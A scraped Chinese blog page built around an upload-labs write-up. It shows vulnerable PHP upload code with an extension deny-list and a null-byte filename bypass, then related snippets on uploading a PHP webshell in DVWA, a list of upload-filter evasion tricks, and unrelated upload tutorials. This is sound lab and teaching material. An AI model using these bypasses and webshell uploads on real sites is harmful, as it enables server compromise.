 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
 6
 7         $file_name = $_POST[‘save_name‘];
 8         $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
 9
10         if(!in_array($file_ext,$deny_ext)) {
11             $img_path = $UPLOAD_ADDR . ‘/‘ .$file_name;
12             if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $img_path)) {
13                 $is_upload = true;
14             }else{
15                 $msg = ‘上传失败!‘;
16             }
17         }else{
18             $msg = ‘禁止保存为该类型文件!‘;
19         }
20
21     } else {
22         $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘;
23     }
24 }

原理同Pass-11,上传的文件名用0x00绕过。改成19.php【二进制00】.1.jpg

原文链接:https://github.com/LandGrey/upload-labs-writeup

原文地址:https://www.cnblogs.com/bmjoker/p/9141322.html

时间: 2024-08-30 06:41:04

3. 文件上传靶机实战(附靶机跟writeup)的相关文章

DVWA靶机--简单的文件上传漏洞

简单的文件上传漏洞(靶机安全级别:low) 事先准备好一句话木马,密码为pass 上传一句话木马,显示上传路径(一般网站是不会显示路径的,这里靶机为了方便你测试漏洞,直接显示出了路径: ../../hackable/uploads/pass.php succesfully uploaded!) 我们先尝试打开看看,将路径拼接到url后面:http://192.168.147.137/dvwa/hackable/uploads/pass.php 访问成功,但是没有显示任何东西(因为是php文件)

文件上传姿势整理(附实战)

--人的理想志向往往和他的能力成正比. 在这里整理一些自己最近学习的文件上传的知识,方便自己回忆和深刻记忆(不全,只是将自己不知道的原理以及技巧分享出来). 文件上传漏洞的几种情况(在ichunqiu的博客园扒的 - -.): MIME类型绕过漏洞(就是content-type:) 文件内容检测绕过 空字节截断(%00,0x00) 解析导致的文件上传漏洞: IIS6.0/IIS7.0/IIS7.5(后面细说) Apache站上的解析缺陷绕过上传 htaccess文件上传解析漏洞 还有就是各种cm

Selenium2学习-039-WebUI自动化实战实例-文件上传下载

通常在 WebUI 自动化测试过程中必然会涉及到文件上传的自动化测试需求,而开发在进行相应的技术实现是不同的,粗略可划分为两类:input标签类(类型为file)和非input标签类(例如:div.a或其他方式结合实现). 非input标签类因其有各式各样的实现方式,需要考虑具体的场景,因而此文对此类文件上传不做讲解,以input标签实现文件上传的方式进行讲解,请知悉! 解决方案有如下三种: 1.定位元素直接通过sendkeys修改input标签的文件链接: 2.通过第三方控件(AutoIt)编

[实战]MVC5+EF6+MySql企业网盘实战(7)——文件上传

写在前面 周末了,在家继续折腾网盘,今天实现网盘文件的上传,下载及删除. 系列文章 [EF]vs15+ef6+mysql code first方式 [实战]MVC5+EF6+MySql企业网盘实战(1) [实战]MVC5+EF6+MySql企业网盘实战(2)——用户注册 [实战]MVC5+EF6+MySql企业网盘实战(3)——验证码 [实战]MVC5+EF6+MySql企业网盘实战(4)——上传头像 [Bootstrap]modal弹出框 [实战]MVC5+EF6+MySql企业网盘实战(5)

构建ASP.NET MVC4+EF5+EasyUI+Unity2.x注入的后台管理系统(32)-swfupload多文件上传[附源码]

原文:构建ASP.NET MVC4+EF5+EasyUI+Unity2.x注入的后台管理系统(32)-swfupload多文件上传[附源码] 文件上传这东西说到底有时候很痛,原来的asp.net服务器控件提供了很简单的上传,但是有回传,还没有进度条提示.这次我们演示利用swfupload多文件上传,项目上文件上传是比不可少的,大家这个心里都知道.主要提供给源码说明及下载 最终效果图: SWFUpload的特点: 1.用flash进行上传,页面无刷新,且可自定义Flash按钮的样式; 2.可以在浏

ASP.NET实战之文件上传

时下比较流行的云盘,比如百度云盘,360云盘,金山快盘等等,相信大家都用过.云盘是互联网存储工具,是互联网云技术的产物,是通过互联网为企业和个人提供数据信息的存储,读取以及下载等服务,其最大的两个特点是安全稳定和海量存储.我的笔记本硬盘只有500G,有一天当我发现我的6个硬盘分区中红了4个,我就开始往我的百度云盘上"搬东西",这个搬东西就是我们今天要谈到的"文件上传". 其实文件上传在互联网应用和网站开发中十分常见,我们在各类社交软件中使用的"照片上传&q

JAVAEE——SSH项目实战03:新增客户、数据字典、文件上传和修改客户

作者: kent鹏 转载请注明出处: http://www.cnblogs.com/xieyupeng/p/7145599.html 一.新增客户 1.数据字典  用于枚举项目中有限个数的字典项 (1)表中数据字典与其他表的关系:     建表语句: CREATE TABLE `base_dict` ( `dict_id` varchar(32) NOT NULL COMMENT '数据字典id(主键)', `dict_type_code` varchar(10) NOT NULL COMMEN

【SSH网上商城项目实战13】Struts2实现文件上传功能

上一节我们做完了添加和更新商品的功能,这两个部分里有涉及到商品图片的上传,并没有详细解说.为此,这篇文章详细介绍一下Struts2实现文件上传的功能. 1. 封装文件信息 我们首先得有一个Model来封装文件的信息,这个Model里需要有三个属性:文件.文件类型和文件名.针对我们要传的图片,我们新建一个Model如下: public class FileImage { private File file; private String contentType; private String fi

SpringBoot2.x文件上传实战

设置上传的文件大小: @Configuration public class fileConfigure { @Bean public MultipartConfigElement multipartConfigElement(){ MultipartConfigFactory factory=new MultipartConfigFactory(); //单个文件的大小 factory.setMaxFileSize("200KB"); //设置总上传数据的大小 factory.set